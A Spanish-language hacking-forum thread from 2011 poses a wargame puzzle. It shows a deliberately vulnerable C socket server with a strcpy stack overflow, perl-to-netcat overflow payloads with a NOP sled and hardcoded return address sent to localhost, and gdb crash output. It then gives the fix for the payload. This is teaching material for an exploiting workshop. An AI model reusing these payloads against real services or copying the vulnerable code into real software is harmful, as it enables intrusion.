elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Seguridad
| | |-+  Desafíos - Wargames (Moderador: Kasswed)
| | | |-+  [RETO] Adivina POR QUÉ no funciona...
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [RETO] Adivina POR QUÉ no funciona...  (Leído 4,768 veces)
Garfield07


Desconectado Desconectado

Mensajes: 1.121


¡Este año voy a por todas! JMJ 2011


Ver Perfil WWW
[RETO] Adivina POR QUÉ no funciona...
« en: 18 Febrero 2011, 00:05 am »

MODF: Como veo que no interesa mucho resolverlo (mi bandeja está a cero) pongo la respuesta...
Código
  1. buffer [cont-1]='\0';
Ahí se fastidia todo. El último byte se pone a cero. Como se arregla? Pues poniendo un último byte (por ejemplo, un nop) al final de la cadena...
Código
  1. sagrini@sagrini:~$ perl -e 'print "\x90"x12 . "A"x92 . "\x7c\xfb\xff\xbf" . "x90"' | nc -vv localhost 31335

Un saludo!
____________________________________________________________________________________________________________

Aclaro que esto es algo que ya he solucionado, sólo que me ha resultado tan curioso que lo he puesto aquí xD.
Pista: Todo consiste en leer.

Bueno, estaba preparando todo para el taller de exploiting y me he encontrado con una situación un tanto curiosa...
Tengo este código vulnerable en C...
Código
  1. #include <sys/socket.h>
  2. #include <arpa/inet.h>
  3.  
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7.  
  8. #include <signal.h>
  9. #include <time.h>
  10.  
  11. int socketfd, newsocket;
  12.  
  13. int feo ()
  14. {
  15. printf ("FEO");
  16. exit (1);
  17. }
  18.  
  19. int vuln (char *trampa)
  20. {
  21. char buffer [100];
  22. strcpy (buffer, trampa);
  23. }
  24.  
  25. void shutup (int signal)
  26. {
  27. times ();
  28. printf ("Shutting down...\n\n");
  29. close (newsocket);
  30. close (socketfd);
  31. exit (0);
  32. }
  33.  
  34. int times ()
  35. {
  36. time_t now=time (0);
  37. struct tm *ahora;
  38. char buffer [40];
  39. ahora=localtime ((const time_t*)&now);
  40. strftime (buffer, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  41. printf ("%s   ", buffer);
  42. return 0;
  43. }
  44.  
  45. int main (int argc, char *argv [])
  46. {
  47. time_t now=time (0);
  48. struct tm *ahora;
  49. char hora [40];
  50. ahora=localtime ((const time_t*)&now);
  51. strftime (hora, 40, "%d/%m/%Y %H:%M:%S" , ahora);
  52. printf ("SmallServ 2.0 - By Sagrini - Sagrini 2010 - %s\n", hora);
  53.  
  54. if (getuid()!=0)
  55. {
  56. printf ("This proccess must be run by root.\n\n");
  57. return 1;
  58. }
  59. if (argc<2)
  60. {
  61. printf ("Use: %s <PORT>\n\n", argv [0]);
  62. return 1;
  63. }
  64. int cont;
  65. struct sockaddr_in client, host;
  66. char buffer [1024];
  67. int size=sizeof (client);
  68.  
  69. socketfd=socket (2, 1 ,  0);
  70. host.sin_family=AF_INET;
  71. host.sin_port=htons (atoi (argv [1]));
  72. host.sin_addr.s_addr=0;
  73. bind (socketfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
  74.  
  75. listen (socketfd, 3);
  76.  
  77. times ();
  78. printf ("Starting up...\n\n");
  79.  
  80. signal (SIGTERM, shutup);
  81. signal (SIGINT, shutup);
  82.  
  83. while (1)
  84. {
  85. newsocket=accept (socketfd, (struct sockaddr*)&client, &size);
  86.  
  87. times ();
  88. printf ("Got connection from %s:%d\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  89.  
  90. cont=recv (newsocket, &buffer, 1024, 0);
  91. while (cont>2)
  92. {
  93. times ();
  94. buffer [cont-1]='\0';
  95. printf ("RECV %d bytes: %s\n", cont, buffer);
  96.  
  97. vuln (buffer);
  98. cont=recv (newsocket, &buffer, 1024, 0);
  99. }
  100. times ();
  101. printf ("Finishing connection from %s:%d\n\n", inet_ntoa (client.sin_addr), ntohs (client.sin_port));
  102. close (newsocket);
  103. }
  104. close (socketfd);
  105. return 0;
  106. }
  107.  

Y lo estaba explotando con este comando...
Código:
 sagrini@sagrini:~$ perl -e 'print "\x90"x12 . "A"x92 . "\x7c\xfb\xff\xbf"' | nc -vv localhost 31335 

Ahora, abría con GDB y me mostraba esto...
Código:
(gdb) r 31335
Starting program: /home/sagrini/serv 31335
SmallServ 2.0 - By Sagrini - Sagrini 2010 - 18/02/2011 00:02:07
18/02/2011 00:02:07   Starting up...

18/02/2011 00:02:10   Got connection from 127.0.0.1:57358
18/02/2011 00:02:10   RECV 108 bytes: ������������AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|��

Program received signal SIGSEGV, Segmentation fault.
0x00fffb7c in ?? ()
(gdb)

La pregunta es... ¿qué le pasa?
PD: Algunos os reiréis del código vulnerable, pero es lo que tenía a mano xD luego lo pasaremos xD
PD2: Es algo sencillo, pero me ha distraído un rato. Por favor, respuestas por PM xD.

Ganadores
Nadie xD


« Última modificación: 11 Marzo 2011, 20:40 pm por Sagrini » En línea



* Quiero cambiar el mundo, pero estoy seguro de que no me darían el código fuente.
* No estoy tratando de destruir a Microsoft. Ese será tan solo un efecto colateral no intencionado.
* Si compila esta bien, si arranca es perfecto.

¡Wiki elhacker.net!
Un saludo
h3ct0r

Desconectado Desconectado

Mensajes: 108


Hail to the king baby!


Ver Perfil
Re: [RETO] Adivina POR QUÉ no funciona...
« Respuesta #1 en: 11 Junio 2011, 23:46 pm »

Hola que tal, podrías dar una información mas detallada de que hace ese programa vulnerable y que es lo que se intentaba explotar? Saludos!


En línea

[img[/img]
Died

Desconectado Desconectado

Mensajes: 32


Ver Perfil
Re: [RETO] Adivina POR QUÉ no funciona...
« Respuesta #2 en: 12 Junio 2011, 21:55 pm »

Usaba ese programa como ejemplo para el texto que estaba escribiendo hace un tiempo. Me encontré con ese problema y tardé una media hora en resolverlo, así que lo modifiqué un poco para colgarlo como reto.

PS: No revivas temas "viejos".
Un saludo. Sagrini
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
--- adivina que --- Basic5 TE ESPIA « 1 2 »
Programación Visual Basic
oPen syLar 19 5,751 Último mensaje 20 Enero 2007, 17:23 pm
por Sancho.Mazorka
Adivina la cancion!
Foro Libre
ignorantev1.1 6 3,578 Último mensaje 25 Noviembre 2010, 19:31 pm
por Psyke1
Así adivina Google lo que estás pensando
Noticias
wolfbcn 2 2,127 Último mensaje 11 Marzo 2013, 14:01 pm
por jhonatanAsm
Reto web-Cross ¿funciona?
WarZone
mbuenos 1 2,297 Último mensaje 1 Enero 2016, 21:11 pm
por mbuenos
Reto Web-Carrito NO FUNCIONA
WarZone
mbuenos 0 2,135 Último mensaje 23 Enero 2016, 18:21 pm
por mbuenos
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines